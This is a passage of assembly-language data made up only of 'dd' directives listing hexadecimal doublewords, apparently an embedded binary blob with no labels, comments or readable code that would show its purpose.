0F580AC50h, 945F1700h, 0EB95F768h, 27792844h, 0FA6F00B4h dd 0A5ACE077h, 883DDAF9h, 0EDCB00F7h, 7D263390h, 0A9BA00FCh dd 3FF803C3h, 1B28A422h, 5D07D8D9h, 0D734651Dh, 463807D0h dd 229D0226h, 0B209D3B5h, 7E0C18E0h, 0D3D2A05h, 0E080C810h dd 5F7196h, 164DD554h, 76D1F315h, 0AA69B400h, 89308F56h dd 5C0E1C7Eh, 32AE8559h, 2BC40A8Bh, 6CFE0BAAh, 0F9E87413h dd 6E0084ADh, 6FE9583Eh, 9A41E3Bh, 6A37AFDDh, 0A5F1C000h dd 90000F96h, 598E9D25h, 83268Ch, 0B7493185h, 0FB71040Ch dd 0A145Ch, 37C788B2h, 9847D6EBh, 49FA17D3h, 2B770061h dd 77390319h, 60EEAC00h, 7C8A21ADh, 0FC3B7424h, 2F8917CCh dd 27604EDFh, 6B5C9CC0h, 0E6006FB1h, 490CC9D8h, 8D656Eh dd 0D7BB89BFh, 0F33A05F9h, 0DB00E6E8h, 3BBAB415h, 0B04A6D97h dd 38CF83Bh, 42DF33DAh, 0A6F8445Ch, 5A01E720h, 772E8D07h dd 48F5022Bh, 4ADAF8h, 0C99311EEh, 0F462BD36h, 0BB88B71Fh dd 0EB653AC0h, 41CF067h, 0B3BF60A3h, 9090B08Fh, 8842002h dd 5183F102h, 0FA050084h, 0C70B1394h, 8115763Eh, 171873C0h dd 16EC8CC5h, 228501CAh, 2661D61Ch, 9060D0E7h, 0C6245006h dd 13618C37h, 0C0A2165Fh, 267A99A4h, 560FDA78h, 253EEA24h dd 10051D01h, 1C009121h, 0FE83900Bh, 82581D09h, 0BD7C0602h dd 0A6072836h, 3F59A8B5h, 8AC36C85h, 0A0C5A32Eh, 635AAA84h dd 0E2DE183Bh, 669D28A0h, 0F0660D2h, 0F8500F56h, 7980C059h dd 0ADBFD708h, 20B94400h, 0BA268B76h, 245A0356h, 59CAB3DCh dd 0DE809001h, 880B36FCh, 38179890h, 217D8609h, 66B98B79h dd 50B9D00Fh dd 0E4006B7Bh, 59A1C53Fh, 79BA9Dh, 2F90FD05h, 0FF121DA8h dd 0E869F803h, 0E85E8B98h, 81A0A1h, 0FC4C0436h, 6642176Bh dd 9B034F70h, 8C2C657Ah, 60EA8AC1h, 0E61C5Eh, 2853EE24h dd 0D8AD9972h, 225C5000h, 39AB4BBDh, 4C350054h, 48652478h dd 250F1029h, 4E673Ah, 731AB71Ch, 0B3AD0064h, 36E98360h dd 12002A49h, 1F8B6C90h, 70074505h, 9A8C00F1h, 0EE625EF7h dd 951D49CAh, 0E06F36BEh, 2A9BD0A5h, 4BE43A44h, 90660546h dd 0B78C0296h, 90A18DB6h, 9DA7CAA9h, 0B20FC728h, 0CB4A942h dd 0E8362155h, 7D8B377Ch, 70920011h, 0A4500D31h, 0F818971Ch dd 0DD11B9A9h, 93660C84h, 5881BED8h, 444A621Eh, 602611B0h dd 22A2107Dh, 0CA6012Ah, 34DE9B40h, 52499009h, 26589022h dd 50C06898h, 0BE180F81h, 15109C8Bh, 6200E1DBh, 2165AACh dd 67562A10h, 10C7C8C8h, 39C3BC21h, 0FC0C1EE8h, 108175B7h dd 9C57D55h, 2689FB72h, 0C3C5800h, 520133B2h, 7965930Dh dd 70D8AFBFh, 0E1A4A38Bh, 0FFF8ABD6h, 4610C086h, 8324FEA4h dd 49056B03h, 0C132629Eh, 5FF095F1h, 86C3EE4h, 14A79914h dd 5CF01Fh, 2680F760h, 0AA00B3E6h, 53973F69h, 60A305DEh dd 3D32789Fh, 0DF3A20A4h, 80B0607Dh, 6202AEC9h, 93DA385Fh dd 0DB098C48h, 80464928h, 0B0BF3500h, 8339DC44h, 0FA6B036Eh dd 2B8D130Fh, 26A62002h, 9E50ED9Bh, 7BA32320h, 3A4B0738h dd 96800118h, 51C167Fh, 455B3258h, 86D44FA3h, 3EF2CFE0h dd 59196C1Eh, 0A908F621h, 97F2180h, 76FD5BCFh, 0B6FAC40Eh dd 9770C5ADh, 3D1BA401h, 0F884744Fh, 90A1A9F5h, 6DA8E42Ch dd 48852037h, 0BDAFE370h, 4A21FE2h, 80C1B082h, 0B0005451h dd 0DB5DEDC4h, 0CE3B2E6Eh, 0A3410881h, 0C8AD80C9h, 0C9A038FBh dd 36058398h, 0FAEC262Ah, 47658004h, 0E5E7C700h, 3948C25Ch dd 8A561320h, 0F560D420h, 4130D9E0h, 9D099801h, 1ED4021h dd 202337E0h, 83467E3Dh, 0ECFDABD0h, 84E804AFh, 4625F12h dd 0C080D0A1h, 0C15EA807h, 756ABDC9h, 565AC424h, 62DC8C19h dd 8850A908h, 6755298h, 0BF0A86EDh, 0B0CC618Eh, 2D60A2h dd 3112AE08h, 6A1702A6h, 12AC1648h, 0F4C7DFEBh, 1E2252C0h dd 3CAB0364h, 4CB3A3B9h, 21480830h, 1A1E5AF8h, 0A0E2937Fh dd 411AFC01h, 0DDB84C0Ah, 0B4ED09C3h, 54397CB6h, 60A98817h dd 277EB1ADh, 57012B52h, 1ACFCC7h, 7C21E19Eh, 0E8958CE4h dd 938A30A6h, 6A8BC041h, 0EEE3AE00h, 9F1F2048h, 414E005Bh dd 5002F9EAh, 6305B4EFh, 0FB64F526h, 445BC421h, 5A001832h dd 0A392E7Ah, 3C071EB8h, 0D0678DC0h, 0AA853770h, 423E2D5h dd 55DF70F5h, 17AC808Ch, 2C48A52Bh, 35580000h, 9F052620h dd 0ADB0A063h, 59FC06DBh, 2073FD32h, 18500CA1h, 0FCE008F7h dd 9BC4E809h, 0E0EF4E40h, 97289A4Ah, 5420D831h, 78C53E9Ch dd 4E75A6h, 5E66C66h, 0DCDC2C4Fh, 25204540h, 67BA4ADh dd 0E31D63BFh, 2E3F389Bh, 95BCD4D9h, 90166000h, 42C2D406h dd 438B00F0h, 52D8BA53h, 320074DEh, 2A125796h, 6C67114h dd 0FA65EF5Bh, 2F444821h, 0B3460E4Ch, 3F80188Eh, 2D84FF5Ch dd 69C18F02h, 49311930h, 4F608290h, 4F6D2693h, 8EE308E8h dd 0F19F8B0Ch, 6BB500B9h, 0C61BDE41h, 0B60001E0h, 0E4922684h dd 0F0700F4Bh, 0C2FA00A7h, 69F59622h, 212512Dh, 1C40A2A8h dd 74185371h, 8E34007Eh, 6F9B9585h, 0AF002A4Ch, 64F3594Ah dd 24FD5A02h, 0E4A038h, 2D2213FEh, 7912DF39h, 0E052C386h dd 0C0515408h, 3EF4CFFBh, 0A522EE46h, 0CF036100h, 140BA18Ch dd 0BE100499h, 0C162BB5Fh, 3A5AFFCh, 3881F8C5h, 0B9B72C3Bh dd 0DC93414Ch, 0D4985A0h, 50C001E9h, 9DA6F76h, 50CDB269h dd 18532011h, 0FDE008F6h, 65C4F009h, 0E0EE4F40h, 0B1E8C844h dd 0ED015FFCh, 8CC3096Bh, 54253BF2h, 3EFDF440h, 831D28B7h dd 0D86F0A80h, 0ADC35F1h, 4BD08A41h, 85691400h, 0B071E8Eh dd 0F78B45C9h, 22F1660h, 242ACFDCh, 9031974Ch, 51D358h dd 35FCA133h, 1268A0h, 5C5E3601h, 5FA64EE0h, 0B23C8707h dd 730F311Dh, 72DC1040h, 2C9DD56h, 208918A4h, 34C43EC5h dd 1C701C20h, 41EF4601h, 8A10AB0Fh, 52798090h, 0C3247B40h dd 531500C7h, 6106CC94h, 0DE1CD8BDh, 0BCD5932Ah, 4561EB8h dd 0FA698C00h, 1210ED59h, 17ADAB2h, 0CD0B0958h, 0B7788941h dd 81704AB0h, 40AAD064h, 81EF01h, 0BBC6FAh, 2D4BD255h dd 455E0256h, 8A69BD60h, 314A2815h, 0DE70FBA5h, 6CA0242Ch dd 0C241EA01h, 0CC0DD0F0h, 0F737E8h, 1350016Fh, 8EA4F8A7h dd 0EAD41750h, 2301C89Bh, 4AB671Eh, 0F9883B18h, 0ED1E015Bh dd 33B7FB75h, 334211Dh, 9D0717Ch, 7891C251h, 0FD805F91h dd 0FE3EF6CFh, 63AC448Ch, 0BACF0500h, 6D16787Ch, 6D8075Eh dd 0A0B36B93h, 421C9DB9h, 0DF38F11Fh, 0AC40BDD2h, 0ED50045Eh dd 0D045642Fh, 96C8051h, 0F0A8752Bh, 3100425Eh, 50E16822h dd 9261D2FFh, 12A21F88h, 1555C5CCh, 825C945Fh, 0AB20C174h dd 88B5F4C5h, 0C2C3153h, 5147385Ah, 0AC207185h, 0A10457EAh dd 82C292E4h, 0C9FC6CC8h, 0D433C510h, 0B83064A2h, 87CA0054h dd 6375D431h, 6D00157Ah, 52B0E9B7h, 0C0918BD6h, 0ECBC0731h dd 3073F9Ah, 0F98A1FEh, 0A85905D0h, 80B747Eh, 60B7B49Dh dd 3D0F2CA6h, 0E8487083h, 2B93B10h, 21AF38FCh, 58B080BEh dd 0A1335044h, 85F1A1D0h, 17140028h, 5A23F074h, 0F3CF0438h dd 0AB62263Eh, 0CF087C20h, 73E400B6h, 823097D0h, 0DCFAE633h dd 6FF3C017h, 8C77103Ah, 20849901h, 0CFCE9A96h, 0A84CE077h dd 2329D10h, 1DC42A5Eh, 71F4C6F8h, 15230081h, 0A09CBEF0h dd 4D04803Dh, 0BB165A6Ah, 80C0B884h, 1A2CC46h, 4C171876h dd 3426FA68h, 4B00F328h, 24202C0Ch, 0C49B7F2Dh, 890A3178h dd 0E7E03014h, 0C139940h, 33250883h, 3960D990h, 0FC249CC9h dd 4F9B01E8h, 0A4B73526h, 69B44096h, 54586120h, 42F9778h dd 0BB008C77h, 0D8C25931h, 0A435A51Fh, 57D0C0B0h, 2E69E456h dd 465EA494h, 839403AEh, 0F2F46625h, 40C48Bh, 5964569Dh dd 4FA730BFh, 0F4DC2303h, 0F0C33F65h, 1284D0A1h, 0C07767F2h dd 300AE56Ch, 963AA280h, 83189CCh, 0C3AF484Bh, 610081DAh dd 0A3384F17h, 123B7E83h, 40A791E7h, 0ADCD1F4Ch, 2F2C7C0h dd 6F606894h, 46242775h, 0B02262h, 2375579Dh, 7E86AD87h dd 0C8A21600h, 74215194h, 5F6401D9h, 0B1130F27h, 78602C45h dd 5DE890Eh, 32C89867h, 57B43C3Ch, 0E1C1782h, 87098C31h dd 24D843D8h, 0B6090830h, 0F6DFA100h, 30C5B56Fh, 5D20BE88h dd 50144932h, 0E1200FEEh, 3518AA9Ah, 0A4571D10h, 4725240Ch dd 56B0AD91h, 2618AA62h, 0FA68C6E6h, 0B0DEh, 0A28D1F82h dd 26F9BC14h, 9F23773Bh, 670616DDh, 0B0319E8Bh, 0F92A0064h dd 34E92964h, 1301CA01h, 0AF94091Dh, 21F47707h, 0CCB32879h dd 894A1A8h, 634030B0h, 0A9638B15h, 108F5288h, 4812398h dd 0D3157F6h, 2035988Ch, 0FB006C7Bh, 90BE1101h, 44DE923Fh dd 0E3003744h, 1E4877AFh, 0C929ACh, 0D2A2A9CEh, 2898D1A3h dd 0B3DC9200h, 4426F59Eh, 0B678ACh, 42408FDBh, 24C1ADBBh dd 74F0A74Ch, 14DE8240h, 809336D7h, 80683235h, 20E99728h dd 0CC818C2Ch, 8B815718h, 3F8CA889h, 109E087h, 0CEC5F74h dd 80804713h, 1605E641h dd 38D9C2h, 0CF9676BEh, 0A8EF12DDh, 80A96000h, 0C913090Dh dd 7089A37h, 0C7528310h, 0EFDB20D6h, 0F5246EF9h, 0ED0030B7h dd 0BD1C6F46h, 0E9731F5Ch, 0E280BF9Fh, 0EA84648Fh, 820E32A9h dd 875F9D89h, 97B7AEECh, 73479A80h, 78870EE7h, 0B780EEDDh dd 42B0E1A2h, 0E0C76C00h, 0B4F06553h, 0EE990041h, 1B7758B6h dd 820169B3h, 786486E7h, 0B8E253E2h, 0F08DCD38h, 95D2F1DFh dd 0E8D42018h, 60F678E1h, 4F97B042h, 0E5001C6Eh, 8DF9656Ah dd 0FACE8446h, 0EE7FCB7h, 0FA984282h, 11900BBEh, 0C38E3C80h dd 0D1C37B53h, 0C0FD9266h, 55CD7552h, 0B6DD9889h, 0EC0C045Eh dd 0E10503Bh, 292D300h, 0E2234A6Bh, 0D93400B8h, 38C8F94Fh dd 31006DDEh, 5CE198BEh, 0C0967B1h, 6A472855h, 0BD0A6E18h dd 8530852h, 0B7009516h, 0C3EA0AD8h, 0E2800AEEh, 2C21B6h dd 425B2088h, 0B1534A6Dh, 88B5340Ch, 468B0C71h, 0CDFD3081h dd 86DA590Ah, 5838CF58h, 2980679h, 40F154D0h, 956D6619h dd 4098E7E8h, 51645991h, 3D7828D0h, 588CA866h, 0DFDB6C21h dd 0EFB0C414h, 0E27733C8h, 401DC223h, 0A8D852E3h, 8480F13Ah dd 5384E4A1h, 0E104C483h, 28803E13h, 0D4C5243Dh, 0C1823A2h dd 0B61910FBh, 410D2456h, 0D59FE4h, 0BE37BBC9h, 44E44CE3h dd 0D6286474h, 68090CF0h, 20CAD7B8h, 32BA45FCh, 4FC200A1h dd 0CE6B090Ch, 22281D8Ch, 893C0C1Ah, 144C2649h, 5828CA9Fh dd 7CFDDD05h, 643A490Dh, 4C02F522h, 0BCE244B3h, 0BC8C8830h dd 84F1A608h, 88870ACAh, 82F35F68h, 3A683680h, 0B41C4872h dd 0F8D953A3h, 5165E202h, 5C6053EFh, 418A378Fh, 67105748h dd 9861B03Ah, 0BCF5F3C1h, 8ACB8C4Ch, 0D02DE435h, 38D41B31h dd 98116954h, 2039DBA5h, 91361E18h, 6802BCABh, 0C1B6D289h dd 0EF80A1A8h, 884C2357h, 0A3B509F9h, 640E886Eh, 11BC6DE8h dd 0B105A6C0h, 4270EAC1h, 53CCFBE0h, 4E440C46h, 5580AE39h dd 0C18985Eh, 8C9F5040h, 84E22CB3h, 8C0A5504h, 986688CFh dd 656428E0h, 0F0B222F4h, 0A25A6815h, 28390494h, 6090A971h dd 91920C52h, 42859128h, 98B48A80h, 0DA0A0CA3h, 0F6028C7Ch dd 67CE5F16h, 0DB31D80Ch, 1A3D828Fh, 0A846A666h, 0B9EE5945h dd 0C8493B80h, 50A10C0Ch, 93858CB6h, 9747549Ch, 54860AA8h dd 93D88C65h, 2CBDC4A0h, 0A6130984h, 1425B8E4h, 88D83540h dd 9964E774h, 509E6D61h, 0F1F12011h, 22F0494Bh, 0E51CA58h dd 0AC106BA8h, 79C5C52Bh, 0D823D1F9h, 58215696h, 934CCECAh dd 0C82C3F23h, 16C4D7CAh, 18ECD06Fh, 0C7106FA2h, 0DBBE09ABh dd 483E86Dh, 44E44876h, 0D41C4797h, 4B86CCE2h, 18CF9CD0h dd 5369E76Ch, 3E70D586h, 0DE4459DCh, 4F50DDECh, 0F889BA9Ch dd 11883C4Ch, 0E4C44853h, 0C13CE851h, 0BD4EA3DCh, 467C7E1Eh dd 0FB88BE85h, 9EF0128Ah, 6E48C45Ch, 4D509049h, 0E30E867Dh dd 6FE146A9h, 1CC03FBAh, 0E67897B3h, 775C00B0h, 0DD48681Bh dd 0A30055EDh, 58AEF699h, 831C45h, 87A9824Dh, 721D865Fh dd 0ED6D321Dh, 8C6F978Eh, 0C3EE28AFh, 87E77710h, 0B4EA83E0h dd 0A8704100h, 0ED823280h, 0DE5C0F73h, 7881BCA9h, 0E958AA1Ch dd 260BCA8h, 6A5C8DEFh, 88104AA2h, 0D6D704E4h, 73669E09h dd 74B400E9h, 274F81A2h, 449C8871h, 93539820h, 0C2791C54h dd 3C3910Ah, 9651002h, 7E752082h, 67633C68h, 4B05159h dd 0A9F832D8h, 0C2EDF4C3h, 830C014h, 0CB624095h, 0F64D931Fh dd 2CD4B84Eh, 0E8AA9067h, 77620004h, 0CE5694CCh, 110B2DF3h dd 0A52A38h, 3FE1A320h, 55D72E41h, 96C90590h, 1ECC9136h dd 39708F9Ah, 405A0AEFh, 6FB7B403h, 73E97E08h, 0B8655C5Dh dd 80785E2Eh, 63977EF6h, 7CA4FD4Ah, 0FA086973h, 0F0AE3A29h dd 0DA4D1A20h, 0C80204B4h, 5CA0F74Eh, 0ABF00C65h, 6F689FE7h dd 38309463h, 0BAF83025h, 0FEB22381h, 28442E4Ah, 0B106FBE9h dd 0E1E5014h, 253A6C72h, 765C2564h, 11EA8C28h, 0E349DF85h dd 0E2800593h, 97A791Dh, 0B0906188h, 2502229Ah, 0EDBFC883h dd 16042097h, 7FB05BE4h, 0FF99DB0Fh, 89628C23h, 8848A163h dd 721F4892h, 6445A728h, 980B779h, 0A1C5A859h, 54015D68h dd 5C5145E3h, 0E7F80A85h, 1B6E075Fh, 70734672h, 0E2864DAAh dd 78B35DECh, 5002BD16h, 0C34180E7h, 9197E054h, 7CE674F8h dd 58B7016Ah, 0C44C8237h, 88444C43h, 0F402B07Fh, 3FB91B3Dh dd 204983Eh, 0ACBC7CFBh, 93088010h, 5FB63EEEh, 30A66544h dd 78CA8B2Ch, 865620CCh, 497CC8B0h, 0A4A05353h, 2527E449h dd 1032D7CCh, 230899E9h, 0FB256412h, 0CE2B306Ch, 10949F59h dd 0C124A5A2h, 9111154Fh, 0B90A9F08h, 278C7053h, 9B5710D0h dd 0A2157C9Ch, 87C4A028h, 8C8AA990h, 8B025068h, 8863E2CCh dd 9C2E18D4h, 85D343Ch, 2257E033h, 51445009h, 124B894Ah dd 48552454h, 224F914Eh, 0A2494448h, 0AC12A389h, 0A64FAD24h dd 0E3F14F80h, 0FD0A986Dh, 0F4916FE1h, 52B88C46h, 51CA8462h dd 7E655D04h, 0BC3F084Ah, 80305600h, 0F650352h, 4EB7E296h dd 81BF2387h, 0F0996A34h, 4101538Bh, 325F1E30h, 3AD11666h dd 22E10ED1h, 4B403EE3h, 99279600h, 0BC838950h, 6A316500h dd 5CE468B9h, 0AF7525BEh, 0A1FF4835h, 64D5FF04h, 0C014B88Dh dd 66EDF87Fh, 9BFB0881h, 361D6563h, 1F563829h, 0D18DEAE1h dd 1B340395h, 78336DB9h, 38288A09h, 75D55F04h, 5E61E280h dd 3E8E5D3Ch, 0AD0CBE8Dh, 0CE21B7D0h, 0B8382352h, 0E21300DCh dd 22164933h, 531885E7h, 0EA18514Bh, 0B80C003Ah, 0A61A64CBh dd 1CA06223h, 0AF01B904h, 791180CEh, 28488D45h, 0E44EBD58h dd 6397E80Ch, 30EF41A3h, 0D73053BDh, 0E4004E59h, 14A9F674h dd 78E746h, 0C882F50Dh, 98628EA1h, 0DCEB451Ch, 0E4386140h dd 7DF33F1h, 56E65FEFh, 8965115Dh, 0CCD8F0B0h, 1EF66E1Eh dd 4D8B3900h, 18766C09h, 0F9546188h, 0A8002D94h, 73DD1A8Ah dd 4A11B0h, 0F9DCFFF6h, 0B9A4EE32h, 90CB3Ch, 0C8BFC1C9h dd 1D1571CAh, 733711h, 6109B83Dh, 0CD00D4E4h, 1C5B5CD5h dd 587446h, 0F55F57E6h, 0C65D61E3h, 0DF14C60h, 3B067EEAh dd 0BD03708Bh, 0F1B1C190h, 0CEDCE590h, 2835B430h, 0C3F20A57h dd 0AD2B88A8h, 8C00D87Ch, 381B630Bh, 3BA6BAh, 0C26F8670h dd 832B9EEAh, 0FB2E5805h, 0EC5EC534h, 0C80C17C0h, 0F95688Bh dd 0F37BC645h, 0C4F27E60h, 0E800518Eh, 9BFB7263h, 3EFF429Dh dd 2016D3A3h, 0C11DAAA9h, 7746081h, 0E3E0A686h, 42621398h dd 476EBC06h, 189C3C14h, 0A5300441h, 9EA73EF8h, 609AE308h dd 409D8C00h, 669B0Bh, 0C5D8FD69h, 93A2FC81h, 0E8535901h dd 0D90F4661h, 8E0C1880h, 0A4F85866h, 0F059921Dh, 0E8508030h dd 3F0CE86Eh, 0C74998Fh, 0F7291A9h, 0E3307A78h, 908A319Fh dd 726180A4h, 0C960529h, 84C5878Ah, 0FD4D6280h, 14A59A9Bh dd 8891A706h, 409C8A03h, 293D860Ah, 0D82B8387h, 0C089EEDEh dd 0C0EC4188h, 0C2C9C518h, 58E6FCCCh, 0BDB07A54h, 45BB4B00h dd 0F849C11Bh, 0D1D80059h, 82D0FA83h, 53003A55h, 684E7038h dd 3807D8Fh, 0D4B56378h, 0B7E089E1h, 0E41DB109h, 37034401h dd 1B44088h, 0DBC04971h, 0C0C2E127h, 7000F009h, 408EC907h dd 0DD95F6FBh, 3015CE28h, 6D62C681h, 7E988D7Ch, 1812A175h dd 0B14521CEh, 4268B931h, 317D791Bh, 70F71CD8h, 1091818h dd 0A9426359h, 0C2FD7EA4h dd 0CF22288Fh, 0E7204015h, 0F0388B60h, 0DBC5D6D1h, 301091B8h dd 1D18970Eh, 0A4C779EFh, 507E31C3h, 62800C3h, 2038895Bh dd 2276C6C1h, 565C78C0h, 5078A969h, 8CF5D080h, 183FED43h dd 43BC0346h, 19E06F33h, 0B9137930h, 80C1217Ch, 0F5DA1569h dd 0A958E9A1h, 0F18264A4h, 0E7DBFE98h, 0F051DC8Dh, 0B2731B02h dd 350F31C3h, 0C2182A8Fh, 54DC284Ch, 0DD848058h, 0C000E982h dd 6F48674Bh, 81396F18h, 0E94CEAD5h, 0F1D3186h, 95541856h dd 5351FC4Ch, 0FDE81358h, 620E9104h, 28868232h, 0A19CF839h dd 0D608A8A4h, 93B28842h, 0B8B2744Dh, 0D1421CDFh, 0B242A33Eh dd 0E51A18FAh, 0D750C88Ch, 55C8AB47h, 0F38ABC90h, 66217C50h dd 228644DDh, 8289FBBh, 0B051863Ah, 4E8D0308h, 0D1DE7835h dd 500B23A8h, 1485DB6Eh, 53102895h, 42AAFC50h, 458A8885h dd 8503E9Bh, 64E07822h, 4050887Eh, 41086C99h, 220E93E7h dd 34688A60h, 4C48A79Ch, 936D8160h, 61B5E922h, 40840440h dd 9374CE3h, 6EDF018Eh, 0FB4378CCh, 4C3198CBh, 1948C509h dd 0B1D6061Bh, 27FA10FCh, 34FE1343h, 0FDA80CF1h, 0AF53FB10h dd 76584338h, 79926781h, 11DC52CEh, 0EDC63CA0h, 9B44409Eh dd 28C148Dh, 0C784A05Bh, 6864CC5Fh, 41304899h, 62C9D464h dd 5841189h, 0C835461h, 45416Bh, 22996D38h, 0E0D731FDh dd 12034E84h, 4FA7B549h, 24A298D9h, 0A1C53842h, 4679D00h dd 4764451Ch, 609FF101h, 8286105Bh, 0E8C0F344h, 9D2F42h dd 9BF85F93h, 2C504E60h, 60E6EF8h, 8043B28Ah, 0FD749C8Ch dd 0E954B049h, 196F87F0h, 409F910Ch, 0FCF86081h, 40BCA505h dd 4027A7E2h, 469F9880h, 3E84F0FFh, 992E1D8Ah, 30533C2Ch dd 0E3469860h, 1CA6608Bh, 0A6FBD08h, 3C50009Ah, 980C4766h dd 60A641E8h, 0B082B09Ah, 0E0000437h, 0A6E6098h, 0E4D20E8Bh dd 11378C4Bh, 0A8811864h, 70F14293h, 32027D9Ch, 9A5A7CBh dd 412CB88Bh, 0C49D5006h, 0D3CB3E0Fh, 0A7323502h, 3898E34Ah dd 0A9013351h, 993F3580h, 0A7DFF640h, 40E814BAh, 344AC5E1h dd 0E49A9F8h, 6E63A704h, 5B664A9Fh, 0A46701F8h, 44D1CC08h dd 0AF042A4Ch, 0B2A12C00h, 0B3450252h, 2A7C03ECh, 320C8300h dd 8A0F7692h, 347A4C60h, 642A909h, 8B8F00AEh, 0A0862818h dd 4834A53Ch, 0A70B0098h, 334D9F9Eh, 0F85B3D61h, 0E1840CCh dd 0DE502832h, 0F519213h, 6C002035h, 46939A35h, 12EC90F2h dd 30A734A4h, 0E547E474h, 188991D2h, 84FF040Ah, 308055D2h dd 0B0C4067h, 0FF5EB0E6h, 0D8309024h, 0C4887B4h, 0FDB50158h dd 0FC5F9C98h, 26AEA7D0h, 7D0A321h, 81D99D0Fh, 899AA90Ah dd 80908C40h, 4D91E6C0h, 0A58A07F1h, 478DE377h, 8C0E8946h dd 619A6AE0h, 0A439F97Ah, 1670589Ch, 84015964h, 9730A5AEh dd 7104A020h, 37A47891h, 34609D8Bh, 58AC869Ch, 86F97239h dd 8E0DB560h, 92331F40h, 9A300D66h, 0E0A0D1C8h, 9F630A46h dd 0E7E6E330h, 0F9A1184Fh, 75EF88Bh, 5B6EA701h, 98B47EF0h dd 0ADFA0490h, 660FF84Ah, 0EE1CFDA5h, 9FE4C1D4h, 36DC217Dh dd 0E7450060h, 9D076FB8h, 490DE2A5h, 71D2B898h, 247EF318h dd 1C98A2F0h, 91748C98h, 796E03Eh, 8CA93047h, 66A4F6C0h dd 7CFB5859h, 98013C78h, 0A906680Eh, 236087AAh, 0D2505F04h dd 9BE22C05h, 673D85C4h, 60B48268h, 0A526E4CEh, 63C50C75h dd 958E9880h, 74DCB069h, 0E8D89060h, 2C8DF074h, 49C44292h dd 6FA51C03h, 0E3770975h, 0A3E46048h, 92502CA4h, 9BFB82C0h dd 20E18AFEh, 3090CD2Eh, 69C79D10h, 0FC83668Bh, 0FDA4A1A2h dd 0F9E3D064h, 3C482C4Bh, 0B64C987Ch, 34CC3DC0h, 5B580E30h dd 66389C33h, 668D3E7Ah, 2980E4B0h, 2E189E27h, 6BB013DCh dd 447FE38h, 4AA9E1ABh, 5B8633C4h, 5C845E58h, 5069488Dh dd 857C7872h, 0B56E718h, 1C59C800h, 472D608Ch, 41501F0Ch dd 0F82F43B2h, 0FF585990h, 20470BD8h, 0F8648099h, 556860A2h dd 0F86C40FDh, 3501DCAh, 1E3A84E6h, 15B80A0h, 520A75Ch dd 419C8E08h, 7D6038C1h, 743A443Ch, 47669109h, 9B5A3CE4h dd 1895D421h, 0A291ECh, 5B9C8C0Ah, 4298A4E2h, 0BF5C8AF0h dd 64177F8Ch, 9007046Bh, 8FEE204Fh, 505890A3h, 46B0903Eh dd 8A084321h, 0E46E9325h, 4B80B210h, 53C860FDh, 68C79548h dd 0F0C1822Bh, 804264A4h, 64349798h, 8AECB03Ch, 34E850BEh dd 4099055Fh, 590F70Fh, 0FC47642Eh, 16B5F000h, 0AEBC36h dd 40939802h, 4D9EE606h, 0E221F962h, 0F0FCE07Eh, 4691019Bh dd 72A5A4E3h, 1990ADF8h, 5AC486E0h, 38A453FCh, 0A71DB43Dh dd 17B38A8h, 180FF5A1h, 0C914ECBBh, 0E020F0C5h, 1CE6B60Eh dd 1AEF80D9h, 76E972EAh, 0EF9E815h, 0FBB4EB0Fh, 0E8973880h dd 0B71D061Ch, 0B5062009h, 0F281EEFh, 730AED18h, 0C4800FEFh dd 0CB04DDE6h, 20C719FCh, 0A18105FCh, 0CAF01EF7h, 181B07F5h dd 4020ECB6h, 214E6C6h, 0F2BD08C0h, 3EFE1082h, 0F00C517h dd 0DD9EA0EDh, 1BFCB1F8h, 0B40FB6F0h, 5FBCEB23h, 0F5B7A306h dd 0E9E888h, 0B4B8061Ah, 0E8BCECFEh, 0BE40CFh, 0F9C3EBFFh dd 7D091E16h, 0C5E7C0B5h, 7EEF0EF7h, 0D8B8CF00h, 0D311F2C3h dd 0DDE801C7h, 1AFABCEAh, 20E6F0F8h, 0DBE9E0F9h, 0DDF328C3h dd 51874D5h, 0EEFCADFh, 0D4584018h, 0D55233BDh, 832C130h dd 0C0C2A8CEh, 0B57EDB20h, 0C900F011h, 0A2D2DDE9h, 3EEB19E4h dd 0A867F7C7h, 20D8C5F2h, 0BCDF0F78h, 0EA2810E8h, 183EC8C6h dd 1FF33CB1h, 0D318E8A0h, 51D2F8E8h, 0C5F1F0C7h, 42F4454h dd 0B401D2EBh, 0B20511FAh, 1CFCDC30h, 9C1BEF9Bh, 0D5804052h dd 0CE3B8CDFh, 0A1D1F80Fh, 74220034h, 0DE463Dh, 25947336h dd 0DC1D89FBh, 0ECB8E400h, 6B6FAD66h, 4B1003D5h, 4AD022E7h dd 0DFBD3003h, 0C8EE0559h, 61C81D11h, 0CE34884Fh, 6000DFB8h dd 6A8C42DDh, 18ADE44h, 3EFC8F28h, 83D07496h, 0B2E95220h dd 9C1CCAA3h, 55692320h, 0ED489001h, 9880CDEEh, 0E54A7C52h dd 8A0BB12h, 8C1BD1D5h, 0AAB027CAh, 69412EE8h, 0D01E4F5Ah dd 3307C179h, 0A8EDC9B6h, 904497F2h, 3CCC6A4h, 6B559449h dd 9B816D66h, 0C71C4C59h, 0A8D7F980h, 2F54C0h, 0C17B4BF8h dd 0E502175Ch, 0C6D4CA0Ch, 606D98BDh, 0CE7561BBh, 90001F5Ch dd 0C8AE9D69h, 6542D4D0h, 1E0628ABh, 0EEBBBCC4h, 1CF067AAh dd 7E0272h, 4FE103EAh, 8CC1BD1h, 0A72159h, 51327E09h, 37928730h dd 0DC4C84A0h, 0D6A1CF61h, 0E183393Bh, 0B36F92A5h, 0BC09100h dd 0B116FC9Eh, 0B07184h, 4CDDBBFAh, 9CA3E3C8h, 57590491h dd 0D571800Dh, 7E25B638h, 153479A2h, 1CFBE58Ah, 9B0D4188h dd 0F801C951h, 171854B3h, 6C953814h, 0F6DD002Ch, 0E7340427h dd 3CD90E86h, 0A78D870Fh, 27FFC021h, 1C61A90Eh, 0C08C62CCh dd 91A897BFh, 994B8358h, 2BD2A8B0h, 0CC355494h, 6048CF2h dd 0E3E9FC7Eh, 0AB805867h, 0E71D7E0Dh, 14FF0525h, 0BE390Bh dd 5A032694h, 88900A84h, 28CA2022h, 74B8B4ECh, 0E91188AAh dd 0C0A8224h, 3861FA12h, 18194A30h, 4581E31Ch, 0B1116C26h dd 3F0C9FA2h, 1E4C2138h, 0C02286FBh, 0C6357EF3h, 98C3BB44h dd 6FBC5963h, 56068849h, 943011BAh, 77B4414Ah, 9B7C0241h dd 0A15E059Eh, 0DC22AC41h, 74AD165Ah, 304BF6E2h, 0C3F4DCCAh dd 0A1974F80h, 0C692DAA8h, 4D01E7Dh, 0C8BD76DCh, 0E9484C08h dd 3C078184h dd 0FAF00182h, 0EC934848h, 0B5574478h, 0A250CF4Ch, 0D85106A4h dd 48DD0137h, 0E40B5AB1h, 74416421h, 